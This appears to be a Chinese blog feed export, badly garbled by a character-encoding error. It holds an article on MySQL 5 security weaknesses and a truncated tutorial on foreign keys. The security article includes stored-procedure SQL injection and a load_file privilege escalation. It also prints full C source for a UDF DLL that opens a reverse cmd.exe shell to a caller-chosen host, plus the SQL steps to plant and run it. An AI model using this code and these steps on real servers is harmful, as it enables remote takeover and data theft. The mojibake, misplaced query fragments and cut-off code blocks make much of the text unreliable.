锘??xml version="1.0" encoding="utf-8" standalone="yes"?> Mysql5澧炲姞寰堝鏂扮殑鍔熻兘錛屽紑濮嬫敮鎸侊細(xì)瀛樺偍榪囩▼銆佽Е鍙戝櫒銆佽鍥俱佷俊鎭灦鏋勮鍥劇瓑鏂扮壒銆傚彲浠ヨ榪欎簺閮芥槸鍙戝睍鐨勫繀鐒訛紝浣嗘槸鏂扮殑涓滆タ鐨勫嚭鏉ワ紝蹇呭畾涔熶細(xì)甯︽潵鏂扮殑瀹夊叏闂錛屽Mysql4寮濮嬫敮鎸乽nion鏌ヨ銆佸瓙鏌ヨ銆傝繖鐩存帴瀵艱嚧mysql娉ㄥ皠鏇村鏄撱佸箍娉涖俶ysql5鐨勬柊鍔熻兘浼?xì)缁欏畨鍏ㄥ甫鏉ヤ粈涔堟柊鐨勪笢瑗垮憿錛熶笅闈㈡垜緇欏ぇ瀹朵粙緇嶄笅mysql5鍦ㄥ畨鍏ㄦ柟闈㈢殑鐗圭偣錛?nbsp; information_schema.STATIS ROUTINE_DEFINITION from inform
涓銆乸assword authentication
mysql5鐨刾assword()鍜宮ysql4.1涓鏍鳳紝閲囩敤鐨勫熀浜嶴HA1鐨?1浣峢ash錛?nbsp;
mysql> select password(’mypass’);
+-------------------------------------------+
| password(’mypass’) |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)
鍦╩ysql4.1浠ュ墠鐨刾assword hashes鏄熀浜?6浣峬d5錛?nbsp;
mysql> SELECT PASSWORD(’mypass’);
+--------------------+
| PASSWORD(’mypass’) |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+
褰撲嬌鐢ㄤ綆鐗堟湰鐨凜lient榪炴帴鏃訛紝鍥炲嚭鐜伴敊璇細(xì)Client does not support authentication protocol錛屼負(fù)浜嗚В鍐寵繖涓棶棰橈紝mysql5鎻愪緵浜嗕竴涓猳ld_password(),灝辯浉褰撲簬mysql4.1浠ュ墠鐨勭殑password():
mysql> select old_password(’mypass’);
+------------------------+
| old_password(’mypass’) |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)
浜屻佹暟鎹瓧鍏?information_schema)
鍜宮ssql銆乷racle銆乨b2絳夋暟鎹簱涓鏍鳳紝mysql5鎻愪緵浜嗕竴涓郴緇熸暟鎹簱錛歩nformation_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)
鍦ㄨ繖涓暟鎹簱閲屾垜浠彲浠ュ緱鍒板緢澶氫俊鎭紝鍖呮嫭褰撳墠鐢ㄦ埛鏉冮檺錛?nbsp;
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| ’KK1’@’%’ | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)
褰撳墠鐢ㄦ埛鏉冮檺涓嬪彲浠ヨ闂殑鏁版嵁搴擄紝琛紝鍒楀悕錛堣繖涓湪sql娉ㄥ皠涓紝瀵艱嚧鐩存帴鏆村尯鏁版嵁搴擄紝琛ㄥ垪鍚嶏紝鍐嶄篃涓嶈‘鏆村姏’鍜級錛?nbsp;
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)
榪樺彲浠ュ緱鍒板綋鍓嶇敤鎴鋒潈闄愪笅鐨刅IEWS錛孯OUTINES絳夛紝鍏充簬ROUTINES鎴戜滑鍦ㄤ笅闈㈢殑‘瀛樺偍榪囩▼’閲岃緇嗕粙緇嶃?nbsp;
[ps:娉ㄦ剰鏄?#8216;褰撳墠鐢ㄦ埛鏉冮檺’濡傛灉鏄痳oot錛岄偅涔堝お鍙互寰楀埌鎵鏈夌殑鏁版嵁搴撳悕縐頒互鍙?qiáng)琛ㄥ垪鍚嵔{夌瓑]
涓夈佸瓨鍌ㄨ繃紼?Stored Procedures)
’瀛樺偍榪囩▼’鐨勪嬌鐢ㄦ槸mysql5鐨勪竴涓棯鍏夌偣錛屽湪甯︽潵鏂逛究鐨勫悓鏃訛紝瀹冧篃甯︽潵浜嗘柊鐨勫畨鍏ㄩ殣鎮(zhèn)o細(xì)濡俿ql娉ㄥ皠錛岀敤鎴鋒潈闄愭彁鍗囩瓑絳夈?nbsp;
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
涓婇潰鎴戜滑浣跨敤root鍦ㄦ暟鎹簱in閲屽垱寤轟簡涓涓悕涓簍est鐨勫瓨鍌ㄨ繃紼嬨?nbsp;
a銆丼QL Injection
mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b銆佽法鏉冮檺
瀛樺偍榪囩▼鏄戶鎵垮垱寤鴻呯殑鏉冮檺鐨勶紝濡傛灉瀛樺偍榪囩▼鏄痳oot鍒涘緩鐨勶紝褰撳叾浠栨櫘閫氱敤鎴蜂嬌鐢ㄨ繖涓瓨鍌ㄨ繃紼嬫椂錛屽鑷磋法鏉冮檺鏀誨嚮錛?nbsp;
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO ’KK1’@’%’
-> IDENTIFIED BY ’OBSCURE’;
Query OK, 0 rows affected (0.03 sec)
涓婇潰寤虹珛涓涓狵K1鐨勭敤鎴峰彧鍦ㄦ暟鎹簱in涓湁SELECT, INSERT, UPDATE, DELETE, EXECUTE鏉冮檺錛屼嬌鐢↘K1鐧婚檰錛?nbsp;
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)
鎴戜滑鍙互寰楀埌KK1鍙互浣跨敤瀛樺偍榪囩▼in.test 鍏跺垱寤鴻呬負(fù)root@localhost銆備笉榪嘖K1娌℃湁鏉冮檺寰楀埌ROUTINE_DEFINITION 灝辨槸in.test鐨勪唬鐮併備笅闈㈢湅鐪嬭法鏉冮檺錛?nbsp;
mysql> call in.test(1 and length(load_file(’c:/boot.ini’))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file(’c:/boot.ini’))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
娌℃湁file鏉冮檺鐨凨K1鍙互浣跨敤in.test浣跨敤load_file()錛屾垜浠繕鍙互鐩存帴瀵筸ysql.user榪涜select錛屽鏋滃瓨鍌ㄨ繃紼嬪彲浠pdata錛宨nsert娉ㄥ皠錛岄偅涔堟垜浠彲浠ユ櫘閫氱敤鎴風(fēng)洿鎺ラ氳繃娉ㄥ皠鏉ヤ慨鏀筸ysql.user閲岀殑鏁版嵁銆?nbsp;
鍥涖乁ser-Defined Function
[ps錛氫笅闈㈤兘鏄熀浜巜in緋葷粺]
mysql5鐨剈df鍦ㄦ牸寮忓拰瀹夊叏鏂歸潰鍋氫竴浜涙柊鐨勬敼鍙橈細(xì)
1銆佹牸寮忚姹傛洿鍔犱弗鏍糩xxx_init()鍒濆鍖栧嚱鏁癩
瀵逛簬娌℃湁xxx_init()鍒濆鍖栧嚱鏁?nbsp;鍦ㄤ互鍓嶇殑鐗堟湰鏄彲浠ヤ嬌鐢ㄧ殑錛屼絾鏄湪mysql5涓嬩細(xì)鍑虹幇Can’t find function ’xxx_init’ in library鐨勯敊璇紝濡傦細(xì)
mysql> create function ExitProcess returns integer soname ’kernel32’;
ERROR 1127 (HY000): Can’t find function ’ExitProcess_init’ in library
涓嬮潰緇欏嚭鐨勪唬鐮佹槸濂藉弸浜戣垝鍐欑殑錛岀鍚坢ysql5鐨剈df鏍煎紡瑕佹眰鍙互鍦╩ysql5涓嬩嬌鐢細(xì)
/*******************************
* File: MySQL_Shell.cpp
* Author: 浜戣垝(wustyunshu at hotmail dot com)
* Date: 2005-12-12
********************************
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
////////////////////////////////
//鍑芥暟鍘熷瀷
/////////////////////////////////
BOOL StartWith( char *, char * );
void LogMsg( char * );
//////////////////////////////////
//MySQL妯″潡鍒濆鍖栧嚱鏁?nbsp;
////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}
////////////////////////////////
//MySQL妯″潡涓誨姛鑳藉嚱鏁幫紝鍙嶅悜榪炴帴鎻愪緵shell
/////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;
// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );
//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION processInfo;
char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;
while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}
if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
if( bytesRead <= 0 ) break;
if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}
TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );
closesocket( sock );
return 0;
}
///////////////////////////////////
//鍒ゆ柇瀛楃涓叉槸鍚︿互鍙︿竴涓瓧絎︿覆寮澶?nbsp;
////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}
/////////////////////////////////////
//璁板綍鏃ュ織淇℃伅錛岃皟璇曠敤
///////////////////////////////////
void LogMsg( char *msg )
{
FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp );
}
/********************************
* File: MySQL_Shell.h
* Author: 浜戣垝(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*********************************
#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2銆乵ysql5闄愬埗浜唘df瀵瑰簲鐨勬枃浠禿ll鏂囦歡鍙彲浠ユ斁鍦╯ystem32鐩綍涓嬨?nbsp;
瀵逛簬涓鑸綆鏉冮檺鐨勭郴緇熺敤鎴鋒槸娌℃湁瀵箂ystem32鐩綍鍐欐潈闄愮殑錛屽湪榪欐牱鐨勬儏鍐典笅鎴戜滑鍙互浣跨敤into dumpfile鎶奷ll鏂囦歡鏀懼埌system32鏉ョ獊鐮達(dá)紝鍏蜂綋濡備笅錛?nbsp;
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file(’c:/udf.dll’));
Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile ’c:/winnt/system32/heige.dll’;
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname ’heige.dll’;
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell(’127.0.0.1’,’1234’);
+---------------------------+
| shell(’127.0.0.1’,’1234’) |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
浜斻佸弬鑰?nbsp;
銆奙ySQL 5.0 Reference Manual銆?nbsp;http://dev.mysql.com/doc/refman/5.0/en/
銆奌ackproofing MySQL銆?nbsp;http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
銆婄粰mysql鍔犱釜鑷畾涔夊嚱鏁幫紙windows騫沖彴錛夈媓ttp://www.icylife.net/yunshu/show.php?id=244
]]>
鍋囧鏌愪釜鐢?shù)鑴戠敓漶斿晢锛屽畠鐨勬暟鎹簱涓繚瀛樼潃鏁存満鍜岄厤浠剁殑浜у搧淇℃伅銆傜敤鏉ヤ繚瀛樻暣鏈轟駭鍝佷俊鎭殑琛ㄥ彨鍋?/span>pc錛涚敤鏉ヤ繚瀛橀厤浠朵緵璐т俊鎭殑琛ㄥ彨鍋?/span>parts銆?/span>
鍦?/span>pc琛ㄤ腑鏈変竴涓瓧孌碉紝鐢ㄦ潵鎻忚堪榪欐鐢?shù)鑴戞墍浣跨敤鐨?/span>CPU鍨嬪彿錛涘湪parts琛ㄤ腑鐩稿簲鏈変竴涓瓧孌碉紝鎻忚堪鐨勬鏄?/span>CPU鐨勫瀷鍙鳳紝鎴戜滑鍙互鎶婂畠鎯蟲垚鏄叏閮?/span>CPU鐨勫瀷鍙峰垪琛ㄣ?/span>
寰堟樉鐒訛紝榪欎釜鍘傚鐢熶駭鐨勭數(shù)鑴戯紝鍏朵嬌鐢ㄧ殑CPU涓瀹氭槸渚涜揣淇℃伅琛?/span>(parts)涓瓨鍦ㄧ殑鍨嬪彿銆傝繖鏃訛紝涓や釜琛ㄤ腑灝卞瓨鍦ㄤ竴縐嶇害鏉熷叧緋?/span>(constraint)鈥斺攑c琛ㄤ腑鐨?/span>CPU鍨嬪彿鍙楀埌parts琛ㄤ腑鍨嬪彿鐨勭害鏉熴?/span>
棣栧厛鎴戜滑鏉ュ垱寤?/span>parts琛細(xì)
CREATE TABLE parts ( |
鎺ヤ笅鏉ユ槸PC琛細(xì)
CREATE TABLE pc ( |
璁劇疆绱㈠紩
鑻ヨ璁劇疆澶栭敭錛屽湪鍙傜収琛?/span> (referencing table錛屽嵆pc琛?/span>) 鍜岃鍙傜収琛?/span>(referenced table錛屽嵆parts琛?/span>)涓紝鐩稿搴旂殑涓や釜瀛楁蹇呴』閮借緗儲寮?/span>(index)銆?/span>
瀵?/span>parts琛細(xì)
ALTER TABLE parts ADD INDEX idx_model (model); |
榪欏彞璇濈殑鎰忔濇槸錛屼負(fù)parts琛ㄥ鍔犱竴涓儲寮曪紝绱㈠紩寤虹珛鍦?/span>model瀛楁涓婏紝緇欒繖涓儲寮曡搗涓悕瀛楀彨idx_model銆?/span>
瀵?/span>pc琛ㄤ篃綾諱技錛?/span>
ALTER TABLE pc ADD INDEX idx_cpumodel (cpumodel); |
浜嬪疄涓婅繖涓や釜绱㈠紩鍙互鍦ㄥ垱寤鴻〃鐨勬椂鍊欏氨璁劇疆銆傝繖閲屽彧鏄負(fù)浜嗙獊鍑哄叾蹇呰鎬с?/span>
瀹氫箟澶栭敭
涓嬮潰涓轟袱寮犺〃涔嬮棿寤虹珛鍓嶉潰鎵榪扮殑閭g“綰︽潫”銆傚洜涓?/span>pc鐨?/span>CPU鍨嬪彿蹇呴』鍙傜収parts琛ㄤ腑鐨勭浉搴斿瀷鍙鳳紝鎵浠ユ垜浠皢pc琛ㄧ殑cpumodel瀛楁璁劇疆涓?/span>“澶栭敭”(FOREIGN KEY)錛屽嵆榪欎釜閿殑鍙傜収鍊兼潵鑷簬鍏朵粬琛ㄣ?/span>
ALTER TABLE pc ADD CONSTRAINT fk_cpu_model |
絎竴琛屾槸璇磋涓?/span>pc琛ㄨ緗閿紝緇欒繖涓閿搗涓涓悕瀛楀彨鍋?/span>fk_cpu_model錛涚浜岃鏄灝嗘湰琛ㄧ殑cpumodel瀛楁璁劇疆涓哄閿紱絎笁琛屾槸璇磋繖涓閿彈鍒扮殑綰︽潫鏉ヨ嚜浜?/span>parts琛ㄧ殑model瀛楁銆?/span>
榪欐牱錛屾垜浠殑澶栭敭灝辨悶濂戒簡錛佸鏋滄垜浠瘯鐫CREATE涓鍙?/span>pc錛屽畠鎵浣跨敤鐨?/span>CPU鐨勫瀷鍙鋒槸parts 琛ㄤ腑涓嶅瓨鍦ㄧ殑錛岄偅涔?/span>MySQL浼?xì)绂佹杩欏?/span>PC琚?/span>CREATE鍑烘潵銆?/span>
綰ц仈鎿嶄綔
鑰冭檻浠ヤ笅榪欑鎯呭喌錛?/span>
鎶鏈漢鍛樺彂鐜幫紝涓涓湀涔嬪墠杈撳叆鍒?/span>parts琛ㄤ腑鐨勬煇涓郴鍒楃殑cpu錛堝彲鑳芥湁寰堝嬈撅級鐨勫瀷鍙峰叏閮借緭閿欎簡涓涓瓧姣嶏紝鐜板湪闇瑕佹敼姝c傛垜浠笇鏈涚殑鏄紝褰?/span>parts琛ㄤ腑閭d簺 Referenced Column 鏈夋墍鍙樺寲鏃訛紝鐩稿簲琛ㄤ腑鐨?/span> Referencing Column 涔熻兘鑷姩鏇存銆?/span>
鍙互鍦ㄥ畾涔夊閿殑鏃跺欙紝鍦ㄦ渶鍚庡姞鍏ヨ繖鏍風(fēng)殑鍏抽敭瀛楋細(xì)
ON UPDATE CASCADE; |
鍗沖湪涓昏〃鏇存柊鏃訛紝瀛愯〃錛堜滑錛変駭鐢熻繛閿佹洿鏂板姩浣滐紝浼間箮鏈変簺浜哄枩嬈㈡妸榪欎釜鍙?/span>“綰ц仈”鎿嶄綔銆?/span>
濡傛灉鎶婅繖璇彞瀹屾暣鐨勫啓鍑烘潵錛屽氨鏄細(xì)
ALTER TABLE pc ADD CONSTRAINT fk_cpu_model |
闄や簡CASCADE澶栵紝榪樻湁RESTRICT(紱佹涓昏〃鍙樻洿)銆?/span>SET NULL